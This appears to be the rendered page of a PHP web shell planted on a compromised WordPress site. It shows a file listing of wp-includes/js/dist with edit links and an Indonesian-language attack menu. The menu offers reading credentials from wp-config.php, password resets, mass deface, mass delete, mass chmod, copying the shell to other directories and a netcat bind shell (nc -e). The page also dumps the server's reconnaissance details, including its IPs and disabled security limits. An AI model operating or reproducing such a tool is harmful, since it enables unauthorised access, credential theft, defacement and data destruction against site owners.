data.min.js 2026-08-20 11:4626.04 KB 76129f60960:kunden-xw-x--x--
edt
date.js 2026-08-20 11:46176.69 KB 76129f60960:kunden-xw-x--x--
edt
date.min.js 2026-08-20 11:46141.35 KB 76129f60960:kunden-xw-x--x--
edt
deprecated.js 2026-08-20 11:463.11 KB 76129f60960:kunden-xw-x--x--
edt
deprecated.min.js 2026-08-20 11:461.35 KB 76129f60960:kunden-xw-x--x--
edt
dom-ready.js 2026-08-20 11:461.53 KB 76129f60960:kunden-xw-x--x--
edt
dom-ready.min.js 2026-08-20 11:46881 B 76129f60960:kunden-xw-x--x--
edt
dom.js 2026-08-20 11:4635.12 KB 76129f60960:kunden-xw-x--x--
edt
dom.min.js 2026-08-20 11:4612.86 KB 76129f60960:kunden-xw-x--x--
edt
edit-post.js 2026-09-18 04:01441.28 KB 76129f60960:kunden-xw-x--x--
edt
edit-post.min.js 2026-09-18 04:01156.59 KB 76129f60960:kunden-xw-x--x--
edt
edit-site.js 2026-09-18 04:012.2 MB 76129f60960:kunden-xw-x--x--
edt
edit-site.min.js 2026-09-18 04:01884.08 KB 76129f60960:kunden-xw-x--x--
edt
edit-widgets.js 2026-08-20 11:46180.29 KB 76129f60960:kunden-xw-x--x--
edt
edit-widgets.min.js 2026-08-20 11:4668.81 KB 76129f60960:kunden-xw-x--x--
edt
editor.js 2026-11-19 00:383.79 MB 76129f60960:kunden-xw-x--x--
edt
editor.min.js 2026-11-19 00:381.5 MB 76129f60960:kunden-xw-x--x--
edt
element.js 2026-08-20 11:4627.32 KB 76129f60960:kunden-xw-x--x--
edt
element.min.js 2026-08-20 11:4612.18 KB 76129f60960:kunden-xw-x--x--
edt
escape-html.js 2026-08-20 11:462.36 KB 76129f60960:kunden-xw-x--x--
edt
escape-html.min.js 2026-08-20 11:461.13 KB 76129f60960:kunden-xw-x--x--
edt
format-library.js 2026-08-20 11:46229.45 KB 76129f60960:kunden-xw-x--x--
edt
format-library.min.js 2026-08-20 11:4696.19 KB 76129f60960:kunden-xw-x--x--
edt
hooks.js 2026-08-20 11:4612.01 KB 76129f60960:kunden-xw-x--x--
edt
hooks.min.js 2026-08-20 11:464.99 KB 76129f60960:kunden-xw-x--x--
edt
html-entities.js 2026-08-20 11:461.71 KB 76129f60960:kunden-xw-x--x--
edt
html-entities.min.js 2026-08-20 11:46950 B 76129f60960:kunden-xw-x--x--
edt
i18n.js 2026-08-20 11:4615.36 KB 76129f60960:kunden-xw-x--x--
edt
i18n.min.js 2026-08-20 11:465.66 KB 76129f60960:kunden-xw-x--x--
edt
is-shallow-equal.js 2026-08-20 11:462.77 KB 76129f60960:kunden-xw-x--x--
edt
is-shallow-equal.min.js 2026-08-20 11:461.17 KB 76129f60960:kunden-xw-x--x--
edt
keyboard-shortcuts.js 2026-08-20 11:4610.26 KB 76129f60960:kunden-xw-x--x--
edt
keyboard-shortcuts.min.js 2026-08-20 11:463.6 KB 76129f60960:kunden-xw-x--x--
edt
keycodes.js 2026-08-20 11:468.36 KB 76129f60960:kunden-xw-x--x--
edt
keycodes.min.js 2026-08-20 11:462.97 KB 76129f60960:kunden-xw-x--x--
edt
list-reusable-blocks.js 2026-08-20 11:4613.34 KB 76129f60960:kunden-xw-x--x--
edt
list-reusable-blocks.min.js 2026-08-20 11:465.41 KB 76129f60960:kunden-xw-x--x--
edt
media-utils.js 2026-09-18 04:011.02 MB 76129f60960:kunden-xw-x--x--
edt
media-utils.min.js 2026-09-18 04:01381.85 KB 76129f60960:kunden-xw-x--x--
edt
notices.js 2026-08-20 11:469.55 KB 76129f60960:kunden-xw-x--x--
edt
notices.min.js 2026-08-20 11:463.85 KB 76129f60960:kunden-xw-x--x--
edt
nux.js 2026-08-20 11:464.32 KB 76129f60960:kunden-xw-x--x--
edt
nux.min.js 2026-08-20 11:461.71 KB 76129f60960:kunden-xw-x--x--
edt
patterns.js 2026-08-20 11:4688.07 KB 76129f60960:kunden-xw-x--x--
edt
patterns.min.js 2026-08-20 11:4637.4 KB 76129f60960:kunden-xw-x--x--
edt
plugins.js 2026-08-20 11:4620.72 KB 76129f60960:kunden-xw-x--x--
edt
plugins.min.js 2026-08-20 11:467.08 KB 76129f60960:kunden-xw-x--x--
edt
preferences-persistence.js 2026-08-20 11:4617.3 KB 76129f60960:kunden-xw-x--x--
edt
preferences-persistence.min.js 2026-08-20 11:465.58 KB 76129f60960:kunden-xw-x--x--
edt
preferences.js 2026-08-20 11:4621.03 KB 76129f60960:kunden-xw-x--x--
edt
preferences.min.js 2026-08-20 11:467.84 KB 76129f60960:kunden-xw-x--x--
edt
primitives.js 2026-08-20 11:465.15 KB 76129f60960:kunden-xw-x--x--
edt
primitives.min.js 2026-08-20 11:462.04 KB 76129f60960:kunden-xw-x--x--
edt
priority-queue.js 2026-08-20 11:4610.1 KB 76129f60960:kunden-xw-x--x--
edt
priority-queue.min.js 2026-08-20 11:463.42 KB 76129f60960:kunden-xw-x--x--
edt
private-apis.js 2026-08-20 11:464.42 KB 76129f60960:kunden-xw-x--x--
edt
private-apis.min.js 2026-08-20 11:462.95 KB 76129f60960:kunden-xw-x--x--
edt
react-i18n.js 2026-08-20 11:463.97 KB 76129f60960:kunden-xw-x--x--
edt
react-i18n.min.js 2026-08-20 11:461.59 KB 76129f60960:kunden-xw-x--x--
edt
redux-routine.js 2026-08-20 11:4624.75 KB 76129f60960:kunden-xw-x--x--
edt
redux-routine.min.js 2026-08-20 11:469.72 KB 76129f60960:kunden-xw-x--x--
edt
reusable-blocks.js 2026-08-20 11:4621.87 KB 76129f60960:kunden-xw-x--x--
edt
reusable-blocks.min.js 2026-08-20 11:467.99 KB 76129f60960:kunden-xw-x--x--
edt
rich-text.js 2026-08-20 11:46104.89 KB 76129f60960:kunden-xw-x--x--
edt
rich-text.min.js 2026-08-20 11:4642.17 KB 76129f60960:kunden-xw-x--x--
edt
router.js 2026-08-20 11:4636.21 KB 76129f60960:kunden-xw-x--x--
edt
router.min.js 2026-08-20 11:4614.21 KB 76129f60960:kunden-xw-x--x--
edt
server-side-render.js 2026-08-20 11:4611.32 KB 76129f60960:kunden-xw-x--x--
edt
server-side-render.min.js 2026-08-20 11:464.1 KB 76129f60960:kunden-xw-x--x--
edt
shortcode.js 2026-08-20 11:468.02 KB 76129f60960:kunden-xw-x--x--
edt
shortcode.min.js 2026-08-20 11:463.35 KB 76129f60960:kunden-xw-x--x--
edt
style-engine.js 2026-08-20 11:4618.37 KB 76129f60960:kunden-xw-x--x--
edt
style-engine.min.js 2026-08-20 11:466.78 KB 76129f60960:kunden-xw-x--x--
edt
theme.js 2026-08-20 11:46135.48 KB 76129f60960:kunden-xw-x--x--
edt
theme.min.js 2026-08-20 11:4659.71 KB 76129f60960:kunden-xw-x--x--
edt
token-list.js 2026-08-20 11:466.18 KB 76129f60960:kunden-xw-x--x--
edt
token-list.min.js 2026-08-20 11:461.68 KB 76129f60960:kunden-xw-x--x--
edt
undo-manager.js 2026-08-20 11:465.36 KB 76129f60960:kunden-xw-x--x--
edt
undo-manager.min.js 2026-08-20 11:461.77 KB 76129f60960:kunden-xw-x--x--
edt
upload-media.js 2026-09-18 04:01116.33 KB 76129f60960:kunden-xw-x--x--
edt
upload-media.min.js 2026-09-18 04:0149.3 KB 76129f60960:kunden-xw-x--x--
edt
url.js 2026-08-20 11:4623.4 KB 76129f60960:kunden-xw-x--x--
edt
url.min.js 2026-08-20 11:4610.18 KB 76129f60960:kunden-xw-x--x--
edt
viewport.js 2026-08-20 11:467.14 KB 76129f60960:kunden-xw-x--x--
edt
viewport.min.js 2026-08-20 11:462.32 KB 76129f60960:kunden-xw-x--x--
edt
warning.js 2026-08-20 11:461.58 KB 76129f60960:kunden-xw-x--x--
edt
warning.min.js 2026-08-20 11:46816 B 76129f60960:kunden-xw-x--x--
edt
widgets.js 2026-08-20 11:4650.14 KB 76129f60960:kunden-xw-x--x--
edt
widgets.min.js 2026-08-20 11:4620.97 KB 76129f60960:kunden-xw-x--x--
edt
wordcount.js 2026-08-20 11:467 KB 76129f60960:kunden-xw-x--x--
edt
wordcount.min.js 2026-08-20 11:462.51 KB 76129f60960:kunden-xw-x--x--
edt
aksi pada path manual

cwd: /data/web/1/000/076/129/313906/htdocs/wp-includes/js/dist
kredensial dibaca dari wp-config.php terdekat; reset password memakai MD5 legacy
mass deface
mass delete
mass replace
chmod massal
unameLinux w38 6.12.118+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.118-1 (2026-11-20) x86_64 softwareApache php8.4.28 / cgi-fcgi / Linux user76129f60960 (52449:5000) host / ip82.100.220.68 / 216.73.216.212 disk bebas2.68 TB limitmem 512M / max 0 open_basedirNONE disable_functionsNONE ekstensiCore, date, libxml, openssl, pcre, zlib, filter, hash, json, pcntl, random, Reflection, SPL, session, standard, sodium, cgi-fcgi, mysqlnd, PDO, xml, apcu, bcmath, bz2, calendar, ctype, curl, dba, dom, mbstring, FFI, fileinfo, ftp, gd, gettext, gmp, iconv, imagick, imap, intl, exif
ini_set runtime
salin shell ke direktori lain
bind port (nc -e)
.htaccess
tes mail
styroporzuschnitte24.de · 2026 · WPZ-OK